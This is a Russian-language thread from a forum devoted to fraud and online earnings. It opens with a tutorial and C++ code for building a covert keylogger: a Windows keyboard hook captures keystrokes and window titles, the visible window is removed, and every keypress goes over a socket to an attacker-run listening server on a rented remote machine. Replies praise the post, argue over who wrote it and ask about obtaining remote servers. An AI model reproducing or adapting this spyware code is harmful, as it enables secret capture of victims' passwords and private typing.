[Уголок Хакера] Пишем карманный кейлоггер на C++

Тема в разделе "Уголок Хакера", создана пользователем ims0rry, 07.12.2017.

  1. ims0rry
    ims0rry

    Арбитр

    Депозит:
    230 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    19.04.2017
    Сообщения:
    672
    Репутация:
    +1,009 / -0
    А прежде чем приступить к прочтению - загляни в мой бложик, там я публикую свои авторские статьи по программированию, вирусологии и прочим интересным вещам Что бы посмотреть ссылку войдите или зарегистрируйтесь
    Оригинал статьи - Что бы посмотреть ссылку войдите или зарегистрируйтесь

    Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
    Предисловие
    На протяжении, примерно, месяца я постоянно наблюдал за различными просьбами, вопросами насчет кейлоггеров. Многие искали, но не могли найти исходники, многие искали, но не могли найти продажники и т.д.
    [​IMG]
    В этой статье я хочу показать, насколько просто написать самому кейлоггер с базовым функционалом. Базу я позаимствовал отсюда - Что бы посмотреть ссылку войдите или зарегистрируйтесь, пофиксил баги и доработал под взаимодействие с WinSocket.

    Материалы
    • Visual Studio 2015 Community Update 4
    • Visual C++ 2015
    Структура приложения
    Для начала необходимо определить, как вообще будет работать кейлоггер. Будь то отсылка логов на FTP/Почту, запись нажатий в сокет, отправка файла на гейт, запись логов в бд.
    Я решил остановится на сокетах. Почему? Это удобно, просто и юзабельно.
    Исходя из выбора, нам нужно будет сделать 2 приложения:

    Сервер
    • Консольное приложение, которое будет принимать данные от клиента и выдавать в консоли
    Клиент
    • Собственно, сам кейлоггер, который будет отсылать нажатия клавиш на сервер
    И начнем мы, пожалуй, с сервера.

    Сервер
    Создаем консольное C++ приложение в Visual Studio.
    Весь код есть в оф. примере MSDN - Что бы посмотреть ссылку войдите или зарегистрируйтесь
    Нам лишь нужно заменить некоторые значения в нем...
    Сразу пропишем константные переменные: величину буффера и порт сервера, на который будут приходить логи

    Код:
    #define DEFAULT_BUFLEN 1024 //Буффер
    #define DEFAULT_PORT "1337" //Порт
    
    Вместо единоразового do/while ставим бесконечный цикл, в котором будем принимать данные от клиента, выводить их в консоль, закрывать соединение и по новой:
    Код:
    do {
      ClientSocket = accept(ListenSocket, NULL, NULL); //Принимаем коннект
      iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Считываем лог
      if (iResult > 0) //Если лог не пустой
        printf("%s", recvbuf); //Выводим
      closesocket(ClientSocket);//Закрываем соединение
      memset(recvbuf, 0, sizeof recvbuf);//Освобождаем память
    }
    while (true);
    
    Компилируем в Release, закидываем на дедик, открываем нужный нам порт и запускаем

    Клиент

    Создаем приложение Win32 в Visual Studio.
    Как я уже и говорил выше, хук клавиатуры и обработчик нажатий я взял с Что бы посмотреть ссылку войдите или зарегистрируйтесь
    Чтоб прикрутить отправку нажатия на сокет я обратился к Что бы посмотреть ссылку войдите или зарегистрируйтесь
    Так же, сразу определяем константные переменные: длину буффера, айпи дедика/компа и порт

    Код:
    #define DEFAULT_BUFLEN 20000
    #define SERVER_IP "127.0.0.1"
    #define SERVER_PORT "1337"
    
    Некоторые переменные пришлось вытащить из их методов и сделать глобальными, чтобы код начал работать корректно:
    Код:
    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct;
    char lastwindow[256];
    int Save(int key_stroke);// Убрал второй аргумент
    
    Создаем метод отправки данных на сервер по примеру, который был в начале абзаца. Далее, везде заменяем порт, айпи и передаваемую инфу на аргументы функции:
    Код:
    void sendData(char *ip, char * port, char*data)
    В методе Save делаем следующее - убираем второй аргумент и меняем запись логов в файл на отправку к серверу:
    Код:
    char data[DEFAULT_BUFLEN]; 
    sprintf(data, "\n\n[Window: %s - at %s]\n", window_title, s);   sendData(SERVER_IP, SERVER_PORT, data);
    
    Далее, по такому же принципу, меняем отправку в нажатиях служебных клавиш. Отправку букв можно сделать таким образом:
    Код:
    char c[512];
    sprintf(c, "%c", key_stroke);
    sendData(SERVER_IP, SERVER_PORT, c);
    

    Вырезаем все что связано с видимостью окна из кода, и, готово.

    Итог

    При запуске кейлоггера, он повиснет в процессах и будет обрабатывать каждое нажатие на клавиатуре. Возможно, некоторые символы будут отображаться некорректно, например, слеши, но все это можно исправить самому (ведь если бы все было идеально, ко мне в личку стучал Иисус с просьбой проверить продажник приватного кейлоггера).

    Лог будет выглядеть так:

    [​IMG]

    Ссылки

    Сигнатурные сканы (не спрашивайте зачем просканил сервер, просто так):
    Кейлоггер, взятый за основу - Что бы посмотреть ссылку войдите или зарегистрируйтесь
    Сокет-сервер - Что бы посмотреть ссылку войдите или зарегистрируйтесь
    Сокет-клиент - Что бы посмотреть ссылку войдите или зарегистрируйтесь
    Готовые исходники проекта - Что бы посмотреть ссылку войдите или зарегистрируйтесь


     
    • Нравится Нравится x 2
  2. CyberFun
    CyberFun

    123

    Депозит:
    0 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    08.08.2017
    Сообщения:
    75
    Репутация:
    +54 / -0
    Не тестил, но думаю Аиймсорри знает свое дело и код рабочий.
    Но долбоеб из темной гавани уже своровал авторство этой статьи:
    [​IMG]

    Как же бомбит с таких людей. Можно было бы еще понять если бы он написал - Тут мой один знакомый написал хорошенький гайд по созданию кейлоггера... А так он прям льет им пиздеж и его читают и всем нравится. Очень обидно за настоящих контент-мейкеров.
     
    Последнее редактирование: 08.12.2017
    • Нравится Нравится x 1
  3. ims0rry
    ims0rry

    Арбитр

    Депозит:
    230 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    19.04.2017
    Сообщения:
    672
    Репутация:
    +1,009 / -0
    Парень из темной гавани оставил ссылку на мой гитхаб, где, во-первых, отчетливо виден мой никнейм, а во-вторых, висит ссылка на мой канал ;)
    Настолько конченный, что даже прочекать не удосужился
    Да, и к слову, если он уберет эту ссылку, то 90% обитателей его канала ничего не поймут без полных исходников
     
    • Нравится Нравится x 1
  4. orthodox
    orthodox

    123

    Депозит:
    0 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    13.03.2018
    Сообщения:
    1
    Репутация:
    +0 / -0
     
    Последнее редактирование: 13.03.2018
  5. BARON123
    BARON123

    123

    Депозит:
    0 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    13.03.2018
    Сообщения:
    1
    Репутация:
    +0 / -0
    А что ещё пишите на с++
     
  6. jozz.1
    jozz.1

    123

    Депозит:
    0 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    12.04.2018
    Сообщения:
    2
    Репутация:
    +0 / -0
     
  7. jozz.1
    jozz.1

    123

    Депозит:
    0 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    12.04.2018
    Сообщения:
    2
    Репутация:
    +0 / -0
    Привет! Можете помочь, как создать дедик, нужен ли он вообще?
    (Я абсолютный новичок).
     
  8. Pocik228
    Pocik228

    123

    Депозит:
    0 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    26.03.2018
    Сообщения:
    3
    Репутация:
    +1 / -0
    Бля, Соррик, скажи, плз как ты учил WinApi.А то хочу приступить, но вот не знаю как
     
  9. ims0rry
    ims0rry

    Арбитр

    Депозит:
    230 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    19.04.2017
    Сообщения:
    672
    Репутация:
    +1,009 / -0
    через гугл
     
  10. Pocik228
    Pocik228

    123

    Депозит:
    0 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    26.03.2018
    Сообщения:
    3
    Репутация:
    +1 / -0
    Хуя се. А чё скажешь об этой книге? upload_2018-5-1_15-33-34.png
     
  11. Димоныч
    Димоныч

    123

    Депозит:
    0 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    22.05.2018
    Сообщения:
    10
    Репутация:
    +0 / -0
    Спасибо помогло
     
  12. DeoRex
    DeoRex

    vip

    Депозит:
    0 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    15.03.2018
    Сообщения:
    115
    Репутация:
    +50 / -0
    Сорик же говорил, что не читает книги по программированию и не собирается.
     
  13. eax
    eax

    123

    Депозит:
    0 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    22.05.2018
    Сообщения:
    11
    Репутация:
    +5 / -0
    а стоило бы мб научился чему то большему чем пользоваться комбинациями crtl+c / crtl + v :Acute

    ps клавиатурные хуки устарели морально и физически еще в эру мезозоя
     
  14. lllYT
    lllYT

    123

    Депозит:
    0 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    01.06.2018
    Сообщения:
    24
    Репутация:
    +5 / -1
    Спасибо соррику и коментаторам, соррику за исходники и мануал, а комментатором за дедик от амазона) За дедики огромное спасибо, думаю они мне еще много где понадобятся)
     
    • Нравится Нравится x 1
  15. Morphin1
    Morphin1

    Продавец

    Депозит:
    0 р.
    Гарант сделок:
    0
    Статус:
    Оффлайн
    Регистрация:
    06.04.2018
    Сообщения:
    122
    Репутация:
    +60 / -0
    всегда пожалуйста -> обращайся , мы всегда поможем (нет)
     
    • Нравится Нравится x 1
  • О НАС

    DarkWebs.ws — форум, посвященный вопросам заработка в интернете, различные схемы мошенников, IT вопросам и многое другое. Это форум о заработке в сети интернет.

  • FAQ

  • ОТВЕТСТВЕННОСТЬ

    Администрация не несет никакой ответственности за публикации на данном форуме. Если Вы считаете, что в темах и сообщениях может содержаться информация, запрещенная к распространению, просим незамедлительно сообщить Администрации.

    Abuse email: [email protected]

  • ПАРТНЕРЫ